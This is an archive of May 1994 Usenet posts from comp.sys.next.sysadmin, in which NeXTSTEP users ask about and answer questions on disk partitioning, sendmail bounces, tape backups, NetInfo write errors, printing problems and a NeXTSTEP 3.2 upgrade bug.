they boot successfully, but pick up the wrong information for ROUTER,
IPNETMASK and IPBROADCAST.
Does anyone know of a solution to this? We know that we can configure each
machine individually, but it's a pain. This time there were only a half-dozen
machines involved, but soon the next subnetting will involve about thirty.
AdvThankSance...
--
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SLAC, Stanford U, and DOE are not responsible for _anything_ I say.
From: trestrail@aol.com (Trestrail)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Can't install 1.2GB disk
Date: 5 May 1994 14:29:01 -0400
Organization: America Online, Inc. (1-800-827-6364)
Sender: news@search01.news.aol.com
Message-ID: <2qbdtd$c3n@search01.news.aol.com>
References: <2q69ed$cjq@email.tuwien.ac.at>
In article <2q69ed$cjq@email.tuwien.ac.at>, michael@cogito.iaee.tuwien.ac.at
(Michael Suessner) writes:
>I have an Adaptec 1542 card with an external 1.2GB Quantum and 2 internal
>SCSI disks. When I tried to install a 400 MB NS partition, I recognized that I
>could use only 300 MB of diskspace, because the BIOS could not see more >disk
space.
>
>Is this a problem of the Adaptec card?
If you're using fdisk to make the partitions, and you're _not_ going to use
the 1.2 gig drive as a boot disk, then use the "-u" or "-useAllSectors" flag
with fdisk in order to bypass the Adaptec card's bios limit of 1 gig. Check
the manpage for "fdisk" to see which flag is correct.
Jeff
trestrail@aol.com
From: Bryce_Jasmer@NeXT.COM (Bryce Jasmer)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: /etc/reboot - cool man page!
Date: 5 May 1994 23:37:40 GMT
Organization: NeXT, Inc.
Message-ID: <2qc005$1ab@rosie.next.com>
References: <2q48l7$8jf@mckinley.cit.macalstr.edu>
Alexander V. Konstantinou writes
>Useful when you have zombie processes that refuses to die and so a normal
>reboot cannot be completed (i.e. anything to do with a floptical on NS3.2).
>Sync manually and then halt immediately (its basically stylistics here but
>I really hate to pull the cord of a machine).
Ever get the message while fsck'ing the root partition that goes something
like: "root file system fixed - reboot without syncing"? That is when you do
a "reboot -n".
Bryce
From: alby@uunet.uu.net (Anthony Williams)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: sendmail problem
Date: 5 May 1994 19:29:36 -0400
Organization: UUNET Technologies, Inc. (Earth offices)
Sender: alby@cthulu.UU.NET
Distribution: world
Message-ID: <2qbvh0$2j9@cthulu.UU.NET>
References: <1994May3.135246.9456@cs.uno.edu>
This means that the domain you tried to send mail to was listed
as a Valid domain with the name server yet it did not list any A
or MX records for the mail gateway.
In article <1994May3.135246.9456@cs.uno.edu>, david@smobject.com (David Vazquez) writes:
>When I send mail to user@domain (vs. user@machine.domain) it always bounces.
>The error reported by NeXT Mail Agent in the returned mail follows:
>
>550 domain (ddn)... 550 Host unknown
>554 <user@domain>... 550 Host unknown (Valid name but no A or MX record)
>
>Again, if I prefix domain with the machine name, the mail makes it. What do
>I have to fix in sendmail.cf? Or is this a DNS problem?
>
> -David Vazquez "david@smobject.com"
>
>p.s. I know this was covered about two weeks ago, but the messages have long
>since rolled off of my news feed.
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Technical Support Engineer alby@uunet.uu.net
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From: reeves@eugenia.phy.Vanderbilt.Edu (Terry W. Reeves)
Subject: Yet another Quantum PD 1800S on black under 3.0 with problems
Message-ID: <1994May6.021719.18008@news.vanderbilt.edu>
Sender: news@news.vanderbilt.edu
Organization: Vanderbilt University
Date: Fri, 6 May 1994 02:17:19 GMT
We aquired a Quantum PD 1800S a couple of months ago, but just got it
installed in a case today. As expected, it doesn't quite work. Anyway, I
used /usr/etc/disk in interactive mode to poke around. I have included a
part of the output below in the hopes that someone has an idea about what
the problem might be or what to try next. I intend to try disabling the
parity checking tomorrow to see if that will work. In any case, if you
have a clue, please let me know. I have also discovered with disk that I
can write to and read from anywhere on the disk. Thanks for any help.
Terry Reeves
disk> init
DESTROYS ALL EXISTING DISK DATA -- really initialize? y
enter host name: eugenia
enter disk label: General
writing disk label
Block 0 boot is "/usr/standalone/boot", ok? y
creating new filesystem on /dev/rsd1a
/usr/etc/newfs -n -v /dev/rsd1a
/etc/mkfs /dev/rsd1a 1758768 50 14 8192 1024 16 10 60 4096 t
write error: 1758767
wtfs: I/O error
/usr/etc/newfs /dev/rsd1a failed (status 1)
disk> re
starting block? 0
# sectors per transfer? 1
number of transfers? 1
sector increment? 1
1024 bytes in 40 ms = 25600 bytes/s
disk> lo
read or write buffer? re
offset? 0
length? 1024
0 64 6c 56 33 00 00 00 00 00 00 00 00 47 65 6e 65 72 61 6c 00 00 00
00 00 dlV3........General.....
24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d9 cc 9c a3 51 55
41 4e ....................QUAN
48 54 55 4d 20 50 44 31 38 30 30 53 2d 35 31 32 00 00 00 00 00 66 69
78 65 TUM PD1800S-512.....fixe
72 64 5f 72 77 5f 73 63 73 69 00 00 00 00 00 00 00 00 00 00 00 00 00
04 00 d_rw_scsi...............
96 00 00 00 0e 00 00 00 32 00 00 0b c0 00 00 0e 10 00 a0 00 00 00 00
00 00 .......2................
120 00 00 00 00 00 00 00 20 00 00 00 60 73 64 6d 61 63 68 00 00 00 00
00 00 ....... ...`sdmach......
144 00 00 00 00 00 00 00 00 00 00 00 00 65 75 67 65 6e 69 61 00 00 00
00 00 ............eugenia.....
168 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 62
00 00 ....................ab..
192 00 00 00 1a d6 30 20 00 04 00 74 00 00 10 10 00 0a 01 00 00 00 00
00 00 .....0 ...t.............
216 00 00 00 00 00 00 00 00 00 00 01 34 2e 33 42 53 44 00 00 00 ff ff
ff ff ...........4.3BSD.......
240 ff ff ff ff ff ff ff ff 00 00 ff ff ff ff ff 00 00 00 00 00 00 00
00 00 ........................
264 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff
ff ff ........................
288 ff ff ff ff ff ff 00 00 ff ff ff ff ff 00 00 00 00 00 00 00 00 00
00 00 ........................
312 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff
ff ff ........................
336 ff ff ff ff 00 00 ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff
ff ff ........................
384 ff ff 00 00 ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
408 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff
ff ff ........................
432 00 00 ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
456 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff
00 00 ........................
480 ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
504 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00
ff ff ........................
528 ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
552 00 00 00 00 00 00 df 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
576 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
624 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
648 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
672 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
696 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
720 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
744 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
768 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
792 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
816 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
840 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
864 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
888 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
912 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
936 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
960 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
984 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
1008 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 ........................
Newsgroups: comp.sys.next.sysadmin
From: jafri!ajafri (Amir Jafri)
Subject: MAIL PROBLEM - PLEASE HELP
Message-ID: <CpD2zL.JI@jafri.uucp>
Sender: ajafri@jafri.uucp (Amir Jafri)
Date: Fri, 6 May 1994 03:28:32 GMT
Hi!
I'm currently using a UUCP link to the internet for news and mail. Lately I've run into a mysterious problem
(at least to me). When I send email to people, the message ID gets screwed up. This is the result:
Illegal-Object: Syntax error in Message-Id: value found on mail.uunet.ca:
> Message-Id: <9404271438.AA00173@jafri.>
> ^-illegal subdomain in domain
Note the period at the end of the hostname (jafri) . My service providers tell me that the period is causing
the problem. They say that the message ID should be either <stuff>@jafri or <stuff>@jafri.uucp. Well, that
makes perfect sense to me, but where do I look to solve this problem ? By the way, this is a standalone
machine (no network).
Someone on the net recently remarked in a post that there existed people who could read sendmail.cf files
like he ate chocolate. Unfortunately, I'm not one of those people. Thus, any comments or suggestion would be
appreciated (email preferred).
Thanks.
Regards,
Amir.
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From: cbradley@bozell.com (Chris Bradley)
Subject: Re: How to blow away NeXTboot?
Message-ID: <1994May5.173515.3511@bozell.com>
Sender: news@bozell.com
Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc.
References: <1994Apr27.152313.459@LoftTech.com>
Date: Thu, 5 May 1994 17:35:15 GMT
In article <1994Apr27.152313.459@LoftTech.com> jgg@LoftTech.com (J. G. Gregory)
writes:
> A customer of ours has an Intel GX/Pro that they want to turn back into a
> DOS/Windows machine. How do you do this? They can't seem to get rid of
> the NeXT boot thing.
>
> Is this documented somewhere?
See the man page for ``fdisk''.
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From: kramer@fragile.termfrost.org (Mike Andrews)
Subject: Archive Python DAT (gnutar) causing panic?!
Message-ID: <CpD2px.HG@fragile.termfrost.org>
Organization: Terminal Frost, Springfield OH
Date: Fri, 6 May 1994 03:22:45 GMT
Here's a neat one...
I just got a (used) Archive Python DAT (says 27216-XXX at bootup when all the
SCSI devices identify themselves...) I'm using this command line to do a
full system backup to it:
gnutar -cvPM -b 128 -X /.nobackup --totals -f /dev/rst0 /
(./nobackup basically contains /private/vm; it's intended to keep from dumping
the swapfile to tape)
This worked fine with the old Archive Viper 2150 (QIC-02) drive that the Python
replaced -- if I used the program that set the drive to fixed block size.
The block size program dosen't seem to affect the DAT either way, so I
haven't been using it. Anyway, last night I backed up just fine with that
command line. Tonight, it's paniced the system twice, and naturally, it's
done it about 95% through the backup. :) The error is:
May 5 20:20:08 fragile mach: panic: (Cpu 0) dma_list: zero pfnum
The first two times I got this, I was in single-user mode. I did it a third
time multi-user, but it still did it. Last night's successful backup was
done in multi-user mode.
Anyone got a clue as to what in the world's happening?
(Anyone have a better command line to suggest, or a better way of backing up
in general? If I understand the man pages, 'dump' can just do one whole disk
at a time? How's it handle multiple disks on a single tape, then? I have
3 disks; 400+660+580 meg.)
--
Mike Andrews -- root@fragile.termfrost.org -- kramer@vax.wittenberg.edu
"To defy the laws of tradition is a crusade only of the brave..." - Primus
From: jimr@shorty.cs.wisc.edu (Jim Robinson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Intel to INET Guidance Requested
Date: 6 May 1994 01:33:58 GMT
Organization: University of Wisconsin, Madison -- Computer Sciences Dept.
Message-ID: <2qc6q6$d2f@spool.cs.wisc.edu>
References: <768164004snz@weighton.demon.co.uk>
In article <768164004snz@weighton.demon.co.uk> Miles@weighton.demon.co.uk writes:
>1) What are the (SW) components required that will run on NS3.1 for Intel
>which will provide me with the same facilities as my dos system which are;
>
>News SW and off-line reader
>Mail handler
>FTP facilities
>and exstras for making better use of the net ie WWW interface.
There is a program called Term out there that might be what you are
looking for if you cannot get slip or ppp. It allows the user to
have a slip-like connection, allowing them to telnet and ftp
straight out of their boxes transparently.
You can get a copy from anon ftp
sunsite.unc.edu:/pub/Linux/apps/comm/term/
As I recall, it should have an option for compiling under NeXT.
You can then get copies of telnet and ftp that have been modified to
take advantage of Term. I know people have been able to use smail to
send mail using term, but I don't know about any news readers.
>what is a work around that will (for now) allow me to download binaries and
>get them successfully to run under NS?
Isn't there a "binary" command for ftp to make sure it does not do any
stupid conversions?
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Organization: Antigone Press gateway, San Francisco
Return-Path: <ebaenen@afit.af.mil>
Date: Thu, 5 May 94 17:06:56 -0400
From: Eric Baenen <ebaenen@afit.af.mil>
Message-ID: <9405052106.AA06821@tolkien.afit.af.mil>
Subject: Printing Problems
Our NeXT network is having some serious printing problems.
When ever someone prints to one of the NeXT laser printers,
the person who is logged in to the machine that the printer
is connected to gets forcibly logged out. The systems do not
hang nor do they give any error messages. They simply log
the person out and return to the normal login screen.
Whatever the person was working on though is gone.
The problem started recently and has been getting worse
daily. At first it would only log the person out
occasionally, now it is every time.
We are running black hardware under NS 3.0. The two machines
that are giving us problems have 32 and 28 MB of memory.
Any help or advice would be sincerely appeciated.
Thank you.
I'll post the fix if there is one.
Eric
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* Dept. of Computer Engineering
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From: afm@math.ethz.ch (Andreas F. Mueller)
Newsgroups: comp.sys.next.sysadmin
Subject: HP DAT on NS/FIP 3.2
Date: 6 May 1994 07:19:00 GMT
Organization: Swiss Federal Institute of Technology (ETHZ)
Message-ID: <2qcr14$364@elna.ethz.ch>
Hi all,
I have a JetStore 2000 connected through an Adaptec 1542CF to a
NS/FIP 3.2 machine. The problem is that the DAT is not recognized
when the system boots. The controlle can see the driver, but not
the kernel. As a consequence, the device /dev/rst0 can't be opened.
Is there any chance to get this drive to work with NS/FIP 3.2?
Thanks for any suggestions
Andreas Mueller
-----------------------------------------------------
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Bubental 53 Voice: + 41 55 637125
CH - 8852 Altendorf Fax: + 41 55 637126
Switzerland
Newsgroups: comp.sys.next.sysadmin
From: jtainio@siika.ratol.fi (Jukka Tainio)
Subject: Re: My NEXT don't boot...
Message-ID: <1994May6.093654.7167@ousrvr.oulu.fi>
Sender: news@ousrvr.oulu.fi
Organization: Raahe institute of computer technology, Raahe, Finland
References: <CoqBt7.13L@news.ci.ua.pt>
Date: Fri, 6 May 1994 09:36:54 GMT
Fernando Cozinheiro (cooker@ci.ua.pt) wrote:
: Dear friends:
: I've configured my NEXT some days ago in order to use it on my network,
: but I can't boot it never after the reconfiguration. First it stops and
: remains undefinitly on the screen "Checking file systems". After, I
: unpluged it from the network and now it stops on the screen "Starting
: Local Systems".
: I've tried to stop it on the boot, but the keyboard combination
: (Alternate + Command + ~) don't can stop it.
: Please, help me!
: Best regards.
Try using (Command + Command + <the upper left key of Numpad>) during bootup
with this you should get the rom monitor to your screen. Then type 'bsd -s'
this takes you to the singleuser mode. (only text) Now you can change the
configuration files at /etc/
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* jtainio@ratol.fi *
* jtainio@tolsun.oulu.fi *
* jtainio@pc-next.vitech.fi *
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From: volker@abulafia.in-berlin.de (Volker Safran)
Subject: Re: How to set back to 512byte Blocksize
Message-ID: <1994May6.061058.29057@abulafia.in-berlin.de>
Sender: volker@abulafia.in-berlin.de
Organization: Volker Safran, Interprint, Berlin, Germany
References: <2qbang$j7h@elna.ethz.ch>
Date: Fri, 6 May 1994 06:10:58 GMT
In article <2qbang$j7h@elna.ethz.ch> merz@ips.id.ethz.ch (Andreas Merz)
writes:
> Hello NeXters!
>
> I have configured my Maxtor 4380S drive for 1024byte blocksize.
> Now, i must change this back to 512byte bs, but all my efforts
> are useless...
>
> How can i change it back???
>
> Thank you for any hints or solutions...
If you do not have the right values for scsitools, just try to format
the disk as a macintosh disk from the workspace and then again for
nextstep. I think this should work.
CIAO Volker
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* EMail: FAX: +49 30 4537157 *
* volker@abulafia.in-berlin.de (NeXTMail very welcome)*
* safran@fb3-s7.math.TU-Berlin.DE (no NeXTMail, sorry) *
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From: doyle@phlebas.rockefeller.edu (Mark D. Doyle)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 3.2 upgrade still doesn't work
Message-ID: <1994May5.185044.10365@rockyd.rockefeller.edu>
Organization: Rockefeller University
References: <2q84qt$fmo@ef2007.efhd.ford.com>
Date: Thu, 5 May 94 18:50:44 EDT
In article <2q84qt$fmo@ef2007.efhd.ford.com> beckers@spin.iao.ford.com (Becki Kain) writes:
>
>howdy folks:
>
>well, i tried re-upgrading to 3.0 from the cdrom, and that worked great. then,
>i re-upgraded to 3.2, which again, failed on post-processing. now, has anyone
>heard of problems with using a multispeed drive (ie: 3x NEC) with the installs?
>i could read from the drive fine in the window manager, but i can't seem to
>use it for the install. any ideas?
>
>thanks
>
>beckers
This was posted when 3.2 originally came out (and appears in the release
notes too I think). Hope it helps.
Cheers,
Mark
doyle@theory.rockefeller.edu
P.S. Your email address doesn't work. It fails with too many hops (seems
like a loop).
-----------------------------
This was posted to NextAnswers today. Considering the potential
for problems, I am posting it to comp.sys.next.announce immediately.
This version is in NewsGrazer RichText.
Upgrading from 3.1 to 3.2 Bug version 3NA
Q: When I try to upgrade from Release 3.1 to 3.2, the Upgrade.app
indicates the post-processing script failed. When I checked the
upgrade log, I saw the following lines:
There isn't enough space to install all the languages.
ROOT: Undefined variable.
What's going on? How do I get the upgrade to complete? Is the
computer now unusable?
Q: The Upgrade.app indicates the post-processing script failed,
but then said the upgrade completed successfully. When I restart
the computer, it panics with a "Can't mount root" error. What can
I do?
A: This happens when there isn't enough free space on the hard
disk being upgraded to install the languages packages. The
post-processing script fails due to a bug: the environment variable
ROOT isn't assigned before it's referenced. If you are using an
Intel based computer, it is unusable if it's restarted; the device
driver upgrade isn't complete at this point. If you are using a
NeXT computer, English help didn't get installed. However, you
can complete the upgrade, and thus make the computer usable.
Intel users who haven't rebooted, NeXT computer users before or
after rebooting
To complete the upgrade, type the following as the root user in a
Terminal window (this assumes you're using the C-Shell as your
login shell; if this isn't the case, adapt the following procedure,
or start the C-Shell, /bin/csh).
Note: This procedure assumes that the 3.2 upgrade CD-ROM is mounted
on the directory /NEXTSTEP_3.2. If this is not the case, substitute
the actual mount point of the 3.2 upgrade CD-ROM for /NEXTSTEP_3.2
throughout the following procedure.
setenv ROOT /NEXTSTEP_3.2
/NEXTSTEP_3.2/Upgrader.app/Default.upgrade/PostProcess /
/NEXTSTEP_3.2
Intel users who have rebooted
If you have already rebooted, your computer panics with the "Can't
mount root" error. To complete the upgrade at this point, do the
following:
1. Insert the 3.1 floppy disk into the floppy disk drive.
2. Start up the computer.
3. At the boot: prompt, type:
if you have a SCSI hard drive
fd()mach_kernel -s rootdev=sd0a
if you have an IDE hard drive
fd()mach_kernel -s rootdev=hd0a
4. At the # prompt, type the following, pressing the Enter key at
the end of each line:
mount -o remount /
if you have a SCSI hard drive
mount -o ro /dev/sd1a /NEXTSTEP_3.2
if you have an IDE hard drive
mount -o ro /dev/sd0a /NEXTSTEP_3.2
nmserver -nonet sh /etc/rc.net -h portmap nibindd csh setenv
ROOT /NEXTSTEP_3.2
/NEXTSTEP_3.2/Upgrader.app/Default.upgrade/PostProcess /
/NEXTSTEP_3.2 halt
5. Remove the floppy disk.
6. Restart the computer.
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From: gerben@rna.nl (Gerben Wierda)
Subject: PostScript problems with Frame output.
Message-ID: <1994May6.102352.901@rna.indiv.nluug.nl>
Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda)
Organization: G.R.O.S.S.
Date: Fri, 6 May 1994 10:23:52 GMT
I have a file create dwith FrameMaker. I'd like to print this 2page up. There
are some problems, however.
0. I can open it with Preview, but in Simple mode only. All pages including
pictures are shown. But psnup does not work on this file. So I look at the
PostScript itself
1. The header says:
> %!
> %%BoundingBox: (atend)
> %%Pages: (atend)
> %%DocumentFonts: (atend)
> %%EndComments
> %
> % FrameMaker PostScript Prolog 3.0, for use with FrameMaker 3.0
> % Copyright (c) 1986,87,89,90,91 by Frame Technology Corporation.
> % All rights reserved.
> %
> % Known Problems:
> % Due to bugs in Transcript, the 'PS-Adobe-' is omitted from line 1
>
When I add PS-Adobe-[123].0 to the first line psnup works. And if I look at the
result with Preview it seems to be correct. However, the eps pictures do not
show up on screen in the original (header fixed) document and they give
PostScript errors when shown in the 2up document, they appear to be in the
wrong place., and trying to print one page from either the changed original or
the result of psnup does not work.
The console says:
> May 6 12:05:47 mr_ed Preview[850]: DPS client library error: PostScript
program error, DPSContext 2360c
> May 6 12:05:47 mr_ed Preview[850]: %%[ Error: undefined; OffendingCommand:
FMEPSF ]%%
> May 6 12:05:49 mr_ed Preview[850]: DPS client library error: PostScript
program error, DPSContext 2360c
> May 6 12:05:49 mr_ed Preview[850]: %%[ Error: undefined; OffendingCommand: C
]%%
> May 6 12:05:49 mr_ed Preview[850]: DPS client library error: PostScript
program error, DPSContext 2360c
> May 6 12:05:49 mr_ed Preview[850]: %%[ Error: undefined; OffendingCommand: C
]%%
> May 6 12:05:49 mr_ed Preview[850]: DPS client library error: PostScript
program error, DPSContext 2360c
> May 6 12:05:49 mr_ed Preview[850]: %%[ Error: undefined; OffendingCommand:
pagesave ]%%
>
That leaves me with the possibility to print the entire 142-page document from
the original, which is not very attractive.
Does someone know how to fix this? How can I get NEXTSTEP-acceptable PostScript
out of a Framemaker 3.0 generated postscript file?
Thanks,
--
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"If you don't know where you're going, any road will take you there"
Paraphrased in Alice in Wonderland, originally from the Talmud.
Newsgroups: comp.sys.next.sysadmin
From: gerben@rna.nl (Gerben Wierda)
Subject: PostScript problems with Frame output (more info)
Message-ID: <1994May6.103812.1010@rna.indiv.nluug.nl>
Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda)
Organization: G.R.O.S.S.
References: <1994May6.102352.901@rna.indiv.nluug.nl>
Date: Fri, 6 May 1994 10:38:12 GMT
It seems that the following part of PostScript is to blame:
> 0 0 0 98 57 58.8 34.2 302.7 597.6 FMBEGINEPSF
> %%BeginDocument: <inline>
> %!PS-Adobe-2.0 EPSF-2.0
> %%BoundingBox: 0 0 98 57
> %%Creator: xgrabsc
> %%Title: introF1
> %%CreationDate: Fri Jul 23 11:07:11 1993
> %%EndComments
> %
> %
> %%EndProlog
> %%Page: 1 1
> /inch {72 mul} def
>
On the printer it is even worse: the page is semi-not printed on top of
another. To be precise, a page containing such a piece of inline code is
printed almost empty and the following page on top of it.
There must be people who know about this one.
--
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"If you don't know where you're going, any road will take you there"
Paraphrased in Alice in Wonderland, originally from the Talmud.
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From: js@euler.hnv.icem.de(Juergen Sell)
Subject: Re: Interrupted startup/boot
Message-ID: <CpCL1y.EL@euler.hnv.icem.de>
Sender: js@euler.hnv.icem.de (Juergen Sell)
Organization: Ink Unknown
References: <2q6ckc$9h2@Joanna.Wes.Army.Mil>
Date: Thu, 5 May 1994 21:01:09 GMT
In article <2q6ckc$9h2@Joanna.Wes.Army.Mil> bcomes@odie.wes.army.mil (Bradley M. Comes) writes:
> At this point I am at the root prompt and can do OS functions. What
> seems to work is to logout and then the multiuser startup executes, I
> hear the printer being initialized, and I get the standard login menu
> with the name and password window. At that point I can log in under my
> standard username.
>
> Everything seems to work so the question is why is the process interrupted
> and why does logging out of root continue the process? The real question
> is how can I fix it to execute through all the process without the
> interruption?
Maybe the boot comand in the prom-monitor is changed to boot in single-user as a result of the
power-glitch?
Juergen
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Deisterstr. 18 Fax ++49-511-440617
BRD 30449 Hannover Fon ++49-511-440688
== What time do we live in when all the word 'revolution' makes you think of
== is a new generation of soap powder ?
From: neuwirth@ophelia.tuwien.ac.at (K. Neuwirth)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Cannot Modify NetInfo Database. What Can I Do?
Date: 6 May 1994 11:19:48 GMT
Organization: Technical University Vienna, Austria
Distribution: na
Message-ID: <2qd94k$1g6@email.tuwien.ac.at>
References: <JDJ.94May4165318@busstop.jpl.nasa.gov>
Jeff Jacobson (jdj@busstop.jpl.nasa.gov) wrote:
[ eaten by LineEater TM ]
: The error message is: "Unable to modify user in NetInfo database.
: Error was 'No writes allowed: all objects are read-only'."
The problem is that the NetInfo server does not believe that you are
in fact the machine that is the master for that netinfo domain and
thus only lets you mount read-only.
: Please note: All the files in netinfo are writeable. It looks like
: the database has been marked read-only. The questions are:
That is not the point. The problem is netinfod local . . .
: 1. Can we somehow just re-enable write access?
Yes, but it is work (the last time I did something like that, it
took me about two hours and some reboots). The process involves
moving your current NetInfo server and creating an empty file, then
moving the directory entries and then going back to normal operations.
: 2. Can we just rebuild netInfo (nidump, destroy, create, niload)?
FORGET! Nidump. It does not contain enough information (or that is
the way it appears to me). Also, if you reload with niload twice, you
have two copies of netinfo in one database. . . which netinfomanager
does not like. it quits as soon as it sees that.
: 3. Or, are we stuck with re-installation?
No. If you write me email with some more information (e.g. is it the
network or the local domain you are having problems with an so on), I
can write together a point-by-point description of what you have to
do.
: 4. What is the purpose of the checksum file, in
: /etc/netinfo/local.nidb?
: Also, does anyone know any good virus detection S/W.
Not for next. but then, I haven't seen a virus for my next yet!
: Thank you.
Youre wellcome.
: Jeff Jacobson (jdj@busstop.jpl.nasa.gov)
Konrad neuwirth
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From: gerti@BITart.sub.org (Gerd Knops)
Subject: [Intel]Re: Problems wih CDPlayer.app
Message-ID: <CpC8F0.Cr@BITart.sub.org>
Sender: usenet@BITart.sub.org
Organization: BITart, NEXTSTEP/OPENSTEP Consulting
References: <2q8moe$nc5@acme.gatech.edu>
Date: Thu, 5 May 1994 16:28:11 GMT
In article <2q8moe$nc5@acme.gatech.edu> gt6963c@prism.gatech.edu (John)
writes:
> [munch]
>
> So I clicked to play the cd.. NO SOUND. I can hook up headphones
> to the drive and listen, but there's no sound comming out of my
> speakers (from the sound card).
You need to access the mixer of the PAS. There is a modified driver
available, where the mixer can be accessed through a preferences module:
In Europe:
arcadia.informatik.uni-muenchen.de:
/pub/comp/platforms/next/i486/audio/PASPlus.0.99.I.b.tar.gz
In the US:
cs.orst.edu:
/pub/next/binaries/drivers/PASPlus.0.99.I.b.tar.gz
>
> So I went back to my kzin account... put the cd in..and it
> started to probe for the cd , but after it mounted it as /cdaudio,
> it said: "cdaudio.util Cannot open CDPlayer" and ejected the cd.
> Same error I always get. I've tried having CDPlayer be setuid root,
> or not. I've tried a LOT of things..none of which seem to work.
>
Welcome in the club... I was not able to find a solution for this.
Gerd Knops
From: Joe_Keenan@next.com (Joe Keenan)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to blow away NeXTboot?
Date: 6 May 1994 13:53:06 GMT
Organization: NeXT, Inc.
Message-ID: <2qdi42$20f@rosie.next.com>
References: <1994May4.161803.17184@cs.uno.edu>
In article <1994May4.161803.17184@cs.uno.edu> david@smobject.com (David
Vazquez) writes:
>
> I've been able to get rid of the NeXT boot by installing DOS 6.2. I have a
> hunch that if the DOS partition is the first on the drive, you can get rid of
> NeXTboot by going into DOS and doing a 'sys c:'.
I think I've already posted this answer 3 times. To get rid of the NS booter,
use the DOS fdisk command with the undocumented "/MBR" option. That writes a
new "Master Boot Record" to the disk.
joe
From: ari@clueless.phyast.pitt.edu (Aritomo Shinozaki)
Newsgroups: comp.sys.next.sysadmin
Subject: Need Recommendation: Book on Next System Admin
Keywords: Book
Message-ID: <21890@blue.cis.pitt.edu>
Date: 6 May 94 08:44:53 GMT
Sender: news+@pitt.edu
As the title says, can the net please recommend books
on NextStep system administration.
Thanks, Ari
--
Aritomo Shinozaki Office: (412)-624-9016
Department of Physics and Astronomy ari@minerva.phyast.pitt.edu
University of Pittsburgh
Pittsburgh, PA 15260
From: blake015@mc.duke.edu(Denise Blakeley)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Need Recommendation: Book on Next System Admin
Date: 6 May 1994 18:09:39 GMT
Organization: Duke University; Durham, N.C., USA
Message-ID: <2qe153$sv1@news.duke.edu>
References: <21890@blue.cis.pitt.edu>
Aritomo Shinozaki writes
> As the title says, can the net please recommend books
> on NextStep system administration.
The definitive one would be the actual NeXT book--"Network and System
Administration: Release 3", Addison Wesley, ISBN 0-201-63254-3, $34.95
Denise
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Duke Med Center Info Systems | to banging one's head against a wall,
Durham, NC | but with fewer opportunities for
(919) 286-6468 W | reward.
blake015@mc.duke.edu | NeXTMail welcome!
From: pln@egret0.Stanford.EDU (Patrick L. Nolan)
Newsgroups: comp.sys.next.sysadmin
Subject: Kernel panic on boot (Intel)
Date: 6 May 1994 18:03:53 GMT
Organization: Stanford University
Message-ID: <2qe0q9$s54@nntp2.Stanford.EDU>
We got our new Intel 486/66 with NeXTStep 3.2 this week. It worked
for two days. Now it fails to boot with a kernel panic while
booting. The messages look like this:
registering: kmDevice0
rootdev 600, howto 0
panic: (Cpu 0) rwip type
<stuff omitted>
Kernel panic exception (6,3,1)
We bought this thing integrated and configured by an outside company,
but now they aren't returning our calls.
I'm an experienced Sun admin, but this is my first foray into the
NeXT world. Do the messages tell me anything useful? Is there
anything useful I can do other than re-installing the OS?
Other details: DPT SCSI controller, Seagate disk, Cache Computers
358 VESA motherboard, SMC Elite16 ethernet, Viper 525 MB tape,
